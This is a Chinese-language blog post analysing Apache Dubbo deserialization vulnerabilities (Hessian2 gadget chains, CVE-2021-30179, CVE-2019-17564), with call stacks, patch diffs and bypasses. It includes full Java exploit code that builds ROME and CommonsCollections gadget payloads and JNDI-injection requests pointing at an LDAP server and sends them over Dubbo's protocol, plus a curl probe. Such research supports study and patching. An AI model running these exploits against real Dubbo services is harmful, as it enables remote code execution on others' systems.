前言 趁着还没啥比赛,小学期等组长回复,看看Dubbo反序列化。
但是Dubbo反序列化根据版本不同,POC也挺多的,而且光这个Dubbo协议学起来就有一点难绷。
先来看看什么是Dubbo:
Apache Dubbo是一款阿里巴巴开源的轻量、高性能的Java RPC框架
随着微服务的盛行,除开服务调用之外,Dubbo也逐渐涉猎服务治理、服务监控、服务网关等,往Spring Cloud靠拢。
Dubbo RPC支持多种序列化方式:dubbo、hessian2、kryo、fastjson、java等。
Dubbo的搭建就免了,网上有太多太多,跟着搭就行了。
https://github.com/apache/dubbo-samples
使用Dubbo服务需要有一个注册中心zookeeper
https://zookeeper.apache.org/releases.html
Dubbo-Attack Hessian <=2.7.6 分析 影响范围:
1 2 3 2.7 .0 <= Dubbo Version <= 2.7 .6 2.6 .0 <= Dubbo Version <= 2.6 .7 Dubbo 所有 2.5 .x 版本(官方团队目前已不支持)
这里主要是因为dubbo默认通过hessian协议进行反序列化造成的漏洞,环境可看:
https://github.com/apache/dubbo-spring-boot-project
可以在pom.xml中条件利用依赖,有有很多利用链,根据有什么依赖打什么链。
比如
1 2 3 4 5 SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor Rome ROME+CC Groovy
等等。
以JNDI注入打ROME+CC为例:
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 connect:624 , JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004 , JdbcRowSetImpl (com.sun.rowset) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:498 , Method (java.lang.reflect) toString:158 , ToStringBean (com.rometools.rome.feed.impl) toString:129 , ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198 , EqualsBean (com.rometools.rome.feed.impl) hashCode:180 , EqualsBean (com.rometools.rome.feed.impl) hash:339 , HashMap (java.util) put:612 , HashMap (java.util) doReadMap:145 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2703 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2278 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2080 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2074 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:92 , Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) decode:139 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:79 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:57 , DecodeHandler (org.apache.dubbo.remoting.transport) received:44 , DecodeHandler (org.apache.dubbo.remoting.transport) run:57 , ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) runWorker:1149 , ThreadPoolExecutor (java.util.concurrent) run:624 , ThreadPoolExecutor$Worker (java.util.concurrent) run:748 , Thread (java.lang)
环境搭建偷个懒,直接贴图分析一波。
前面都是方法的触发调用,我们直接看到DecodeHandler#received
:
跟进到无参方法:
这里的inputStream是去掉Dubbo协议头的原始数据:
此处获取了数据体的各个信息,其次进行数据处理后:
看到readObject了,这里的in是Hessian2ObjectInput
输入流对象,继续调用readObject
方法,
继续调用readObject
方法,之后会在readObject方法调用中计算出tag标识
之后通过switch case语句进行对应逻辑调用:
来到了MapDerializer#readMap
的调用,后面就是hessian链了:
后续跟进就不写了,可以去看原文章:Dubbo反序列化漏洞分析集合1 - 跳跳糖 (tttang.com)
patch 根据diff分析
https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0L131
判断了方法名是否等于$invoke $echo $invokeAsync
,如果方法名称不对的话, 就会直接抛出异常
2.7.7 虽然在2.7.7版本中判断了方法名称, 但是我们仍然有着绕过的思路
既然他的方法名只能够是这个,那我们就使得方法名用他们三个中的一个就行了
步骤:
将上面环境中的pom.xml中的版本改为2.7.7
且将comsumer端的方法名改为了$echo
,之后运行
2.7.8 打默认Hessian2反序列化 在该版本中
在isGenericCall
和 isEcho
中有了更多的限制
限制了之后参数类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;
或者 Ljava/lang/Object;
的时候才会继续进行反序列化操作。上面的方法就寄了。
但接下来的反序列化姿势可以直接用到2.7.13,调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 connect:624 , JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004 , JdbcRowSetImpl (com.sun.rowset) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:498 , Method (java.lang.reflect) toString:158 , ToStringBean (com.rometools.rome.feed.impl) toString:129 , ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198 , EqualsBean (com.rometools.rome.feed.impl) hashCode:180 , EqualsBean (com.rometools.rome.feed.impl) hash:339 , HashMap (java.util) put:612 , HashMap (java.util) doReadMap:145 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2733 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2308 , Hessian2Input (com.alibaba.com.caucho.hessian.io) expect:3561 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readString:1883 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readUTF:89 , Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) decode:103 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:80 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:57 , DecodeHandler (org.apache.dubbo.remoting.transport) received:44 , DecodeHandler (org.apache.dubbo.remoting.transport) run:57 , ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) runWorker:1149 , ThreadPoolExecutor (java.util.concurrent) run:624 , ThreadPoolExecutor$Worker (java.util.concurrent) run:748 , Thread (java.lang)
跟链子也偷个懒吧,不然我要写爆了….
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package org.apache.dubbo.spring.boot.demo.consumer;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import org.apache.dubbo.common.io.Bytes;import org.apache.dubbo.common.serialize.Cleanable;import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;import java.io.ByteArrayOutputStream;import java.io.OutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.net.Socket;import java.util.HashMap;import java.util.Random;import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;public class Exp { private static Object getPayload () throws Exception { String jndiUrl = "ldap://127.0.0.1:1389/xitdbc" ; JdbcRowSetImpl rs = new JdbcRowSetImpl (); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo" ); ToStringBean item = new ToStringBean (JdbcRowSetImpl.class, rs); EqualsBean root = new EqualsBean (ToStringBean.class, item); HashMap<Object, Object> s = new HashMap <>(); setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , root, root, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , root, root, null )); setFieldValue(s, "table" , tbl); return s; } public static void main (String[] args) throws Exception { byte [] header = new byte [16 ]; Bytes.short2bytes((short ) 0xdabb , header); header[2 ] = (byte ) ((byte ) 0x80 | 2 ); Bytes.long2bytes(new Random ().nextInt(100000000 ), header, 4 ); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream (); Hessian2ObjectOutput out = new Hessian2ObjectOutput (hessian2ByteArrayOutputStream); out.writeObject(getPayload()); out.flushBuffer(); if (out instanceof Cleanable) { ((Cleanable) out).cleanup(); } Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte [] bytes = byteArrayOutputStream.toByteArray(); @SuppressWarnings( "resource") Socket socket = new Socket ( "127.0.0.1" , 9999 ) ; OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush() ; outputStream.close(); } }
Hessian2 way 2 另一种利用方式就是在Dubbo协议解析的位置
org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode
方法中
Dubbo格式:
开头的magic位类似java字节码文件里的魔数,用来判断是不是dubbo协议的数据包,魔数是常量0xdabb,用于判断报文的开始
函数在解析dubbo协议时先判断请求头是否是魔术字0xdabb
当魔术头校验通过后,将会调用decodeBody
方法
函数获取flag标志位,一共8个地址位。
低四位用来表示消息体数据用的序列化类型(默认hessian),高四位中,第一位为1表示是request请求,第二位为1表示双向传输(即有返回response),第三位为1表示是心跳事件。调用相应的反序列化函数对数据流进行反序列化操作
当服务端判断接收到的为事件时,会调用decodeHeartbeatData
,跟进发现调用了decodeEventData
方法,接着调用了一个in.readObject()
,再到readObject()
。
稍微将前面的payload修改一下将flag置为event事件就会触发漏洞
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 connect:624 , JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004 , JdbcRowSetImpl (com.sun.rowset) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:498 , Method (java.lang.reflect) toString:158 , ToStringBean (com.rometools.rome.feed.impl) toString:129 , ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198 , EqualsBean (com.rometools.rome.feed.impl) hashCode:180 , EqualsBean (com.rometools.rome.feed.impl) hash:339 , HashMap (java.util) put:612 , HashMap (java.util) doReadMap:145 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2733 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2308 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:94 , Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) readEvent:83 , ObjectInput (org.apache.dubbo.common.serialize) decodeEventData:400 , ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) decodeBody:122 , DubboCodec (org.apache.dubbo.rpc.protocol.dubbo) decode:122 , ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) decode:82 , ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) decode:48 , DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo) decode:85 , NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4) decodeRemovalReentryProtection:498 , ByteToMessageDecoder (io.netty.handler.codec) callDecode:437 , ByteToMessageDecoder (io.netty.handler.codec) channelRead:276 , ByteToMessageDecoder (io.netty.handler.codec) invokeChannelRead:379 , AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365 , AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357 , AbstractChannelHandlerContext (io.netty.channel) channelRead:1410 , DefaultChannelPipeline$HeadContext (io.netty.channel) invokeChannelRead:379 , AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365 , AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:919 , DefaultChannelPipeline (io.netty.channel) read:163 , AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) processSelectedKey:714 , NioEventLoop (io.netty.channel.nio) processSelectedKeysOptimized:650 , NioEventLoop (io.netty.channel.nio) processSelectedKeys:576 , NioEventLoop (io.netty.channel.nio) run:493 , NioEventLoop (io.netty.channel.nio) run:989 , SingleThreadEventExecutor$4 (io.netty.util.concurrent) run:74 , ThreadExecutorMap$2 (io.netty.util.internal) run:30 , FastThreadLocalRunnable (io.netty.util.concurrent) run:748 , Thread (java.lang)
payload修改:
1 2 3 4 5 byte [] header = new byte [16 ]; Bytes.short2bytes((short ) 0xdabb , header); header[2 ] = (byte ) ((byte ) 0x80 | 0x20 | 2 ); Bytes.long2bytes(new Random ().nextInt(100000000 ), header, 4 );
2.7.9 针对上一个版本hessian利用方式,对事件进行了长度限制:
判断了待反序列化的数据长度是否超过配置的阈值(默认为50),如超过则抛出异常,不再继续反序列化,这样就导致了上面的way 2不能够使用了
但是上面的第一种方法仍然可以使用。
CVE-2021-30179 影响:
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
小跟一下。
根据前面的分析我们知道,会调用DecodeHandler#decode
方法进行处理
之后在DecodeHandler#decode
方法中存在过滤操作:
意为:
1 2 3 判断方法名是否为invoke或者invokeAsync,desc是否为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,如果不满足则直接抛出异常 decode完成之后将调用HeaderExchangeHandler.java#received方法处理请求,若为泛型引用,则将调用GenericFilter#invoke方法
在获取了方法名/类型/参数之后,将会通过反射获取该方法,如果不存在就会抛出异常
接下来将通过获取请求中的generic参数来选择通过raw.return/nativejava/bean反序列化参数成pojo对象。
1、如果generic为raw.return或者true,将调用PojoUtils#realize方法
接着调用了readlize
realize0
在readlize0中的逻辑为
若pojo为Map实例,则从pojo(也就是一开始的第三个参数)获取key为“class”的值,并通过反射得到class所对应的类type,再判断对象的类型进行下一步处理
如果type不是Map的子类、不为Object.class且不是接口,则进入else,在else中,对type通过反射进行了实例化,得到对象dest
再对pojo进行遍历,以键名为name,值为value,调用getSetterMethod(dest.getClass(), name, value.getClass());获取set方法
,之后就可以通过org.apache.xbean.propertyeditor.JndiConverter
类中的setAsText
方法进行JNDI注入。
看一手调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 setAsText:59 , AbstractConverter (org.apache.xbean.propertyeditor) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) realize0:483 , PojoUtils (org.apache.dubbo.common.utils) realize:211 , PojoUtils (org.apache.dubbo.common.utils) realize:99 , PojoUtils (org.apache.dubbo.common.utils) invoke:91 , GenericFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:38 , ClassLoaderFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:41 , EchoFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) reply:145 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:152 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:177 , HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
2、如果generic为bean, 则将会调用JavaBeanSerializeUtil#deserialize
处理
其中调用了instantiateForDeserialize
方法,返回一个JavaBeanDescriptor描述的对象
之后调用deserializeInternal
进行反序列化, 如果beanDescriptor.isBeanType()(只需要实例化JavaBeanDescriptor时指定即可),则将遍历beanDescriptor,获取property及value,调用getSetterMethod获取对应的set方法
最后利用反射执行method.invoke(dest, value);,就可以使用org.apache.xbean.propertyeditor.JndiConverter的setAsText打JNDI注入。
调用栈为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 setAsText:59 , AbstractConverter (org.apache.xbean.propertyeditor) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) deserializeInternal:282 , JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil) deserialize:215 , JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil) deserialize:204 , JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil) invoke:115 , GenericFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:38 , ClassLoaderFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:41 , EchoFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) reply:145 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:152 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:177 , HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
3、如果generic是nativejava, 将遍历args,如果args[i]的类型为byte,以args[]为参实例化一个UnsafeByteArrayInputStream,再通过反射获得NativeJavaSerialization,再调用NativeJavaSerialization#readObject方法
相当于执行了UnsafeByteArrayInputStream#readObject
方法造成了反序列化
调用栈为:
1 2 3 4 5 6 7 8 9 10 11 readObject:371 , ObjectInputStream (java.io) readObject:50 , NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava) invoke:98 , GenericFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:38 , ClassLoaderFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) invoke:41 , EchoFilter (org.apache.dubbo.rpc.filter) invoke:83 , ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) reply:145 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:152 , DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) received:177 , HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 public static void main (String[] args) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byte [] header = new byte [16 ]; Bytes.short2bytes((short ) 0xdabb , header); header[2 ] = (byte ) ((byte ) 0x80 | 2 ); Bytes.long2bytes(new Random ().nextInt(100000000 ), header, 4 ); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream (); Hessian2ObjectOutput out = new Hessian2ObjectOutput (hessian2ByteArrayOutputStream); out.writeUTF("2.7.9" ); out.writeUTF("org.apache.dubbo.spring.boot.demo.consumer.DemoService" ); out.writeUTF("" ); out.writeUTF("$invoke" ); out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;" ); out.writeUTF("sayHello" ); out.writeObject(new String [] {"java.lang.String" }); getBeanPayload(out, "ldap://127.0.0.1:1389/xitdbc" ); out.flushBuffer(); Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12 ); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte [] bytes = byteArrayOutputStream.toByteArray(); Socket socket = new Socket ("127.0.0.1" , 9999 ); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); } private static void getRawReturnPayload (Hessian2ObjectOutput out, String ldapUri) throws IOException { HashMap jndi = new HashMap (); jndi.put("class" , "org.apache.xbean.propertyeditor.JndiConverter" ); jndi.put("asText" , ldapUri); out.writeObject(new Object []{jndi}); HashMap map = new HashMap (); map.put("generic" , "raw.return" ); out.writeObject(map); } private static void getBeanPayload (Hessian2ObjectOutput out, String ldapUri) throws IOException { JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor ("org.apache.xbean.propertyeditor.JndiConverter" ,7 ); javaBeanDescriptor.setProperty("asText" ,ldapUri); out.writeObject(new Object []{javaBeanDescriptor}); HashMap map = new HashMap (); map.put("generic" , "bean" ); out.writeObject(map); } private static void getNativeJavaPayload (Hessian2ObjectOutput out, String serPath) throws Exception, NotFoundException { byte [] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc" ).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj,"_name" ,"RoboTerh" ); setFieldValue(obj,"_class" ,null ); setFieldValue(obj,"_tfactory" ,new TransformerFactoryImpl ()); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{obj}), }; ChainedTransformer chain = new ChainedTransformer (transformers); Comparator comparator = new TransformingComparator (chain); PriorityQueue priorityQueue = new PriorityQueue (2 ); priorityQueue.add(1 ); priorityQueue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(priorityQueue, comparator); ByteArrayOutputStream baor = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baor); oos.writeObject(priorityQueue); oos.close(); byte [] payload = baor.toByteArray(); out.writeObject(new Object [] {payload}); HashMap map = new HashMap (); map.put("generic" , "nativejava" ); out.writeObject(map); }
patch 在2.7.10版本使用了黑名单来阻断raw.return和bean这两条链
分别在org\apache\dubbo\common\utils\PojoUtils.java#realize0
org\apache\dubbo\common\beanutil\JavaBeanSerializeUtil.java#name2Class
而nativejava则通过判断配置文件是否允许nativejava的反序列化。
HTTP 除了hessian,还有个稍微有点远的http漏洞CVE-2019-17564
。
影响范围
2.7.0 <= Apache Dubbo <= 2.7.4
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
这个CVE主要是因为在发送POST请求的时候将会将body中的数据进行反序列化处理造成了漏洞
我们可以在开启服务提供者了之后,在org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service
处打下断点,这个类主要是处理请求的分发的类,在接收到http请求之后会调用service方法
之后随便发送一个post请求。
1 curl -X POST -d 'aa' 'http://192.168.56.1:8080/org.apache.dubbo.samples.http.api.DemoService'
成功拦截了这个handler,之后会调用handle方法:
之后调用request.getRequestURI
方法,获取path路径,之后会在之后查找uri路径是否在skeletonMap中:
如果没有,之后将会返回错误,因为没有提供对应的服务。
之后就是获取远程地址和远程地址的端口,最后调用了skeleton.handleRequest
方法
这个时候skeleton是HttpInvokerServiceExporter
类,值得关注的他的contentType居然是application/x-java-serialized-object
类型:
来到handleRequest方法:
跟进readRemoteInvocation
方法调用:
继续调用其方法重载(加上了个request作用域的输入流作为参数:
在上面箭头位置,比如要在request域中获取inputstream,不然不会进入doReadRemoteInvocation
方法的调用
我们跟进漏洞触发点方法doReadRemoteInvocation
方法:
在这里将ois这个ObejctInputStream对象直接没有过滤就进行了反序列化的调用,造成了反序列化漏洞。
若是有个CC3.2的依赖,直接可以打CC4了。
patch 在2.7.5
版本中,在获取了skeleton之后调用其handle方法,此时的skeleton是JsonRpcServer
对象:
我们也可以知道其是调用的其父类的handler方法:
在其中没有可反序列化的操作:
当然还有 Redis / Kryo等等协议造成的漏洞等。
Hessian协议还有CVE-2021-37579,也有toStringBean的漏洞CVE-2021-43297,详见Dubbo反序列化漏洞分析集合2 (qq.com)
参考:
Dubbo反序列化漏洞分析集合1 - 跳跳糖 (tttang.com)
Dubbo | Java (gitbook.io)
Apache Dubbo 反序列化漏洞复现笔记 | l3yx’s blog
Dubbo反序列化漏洞分析集合2 (qq.com)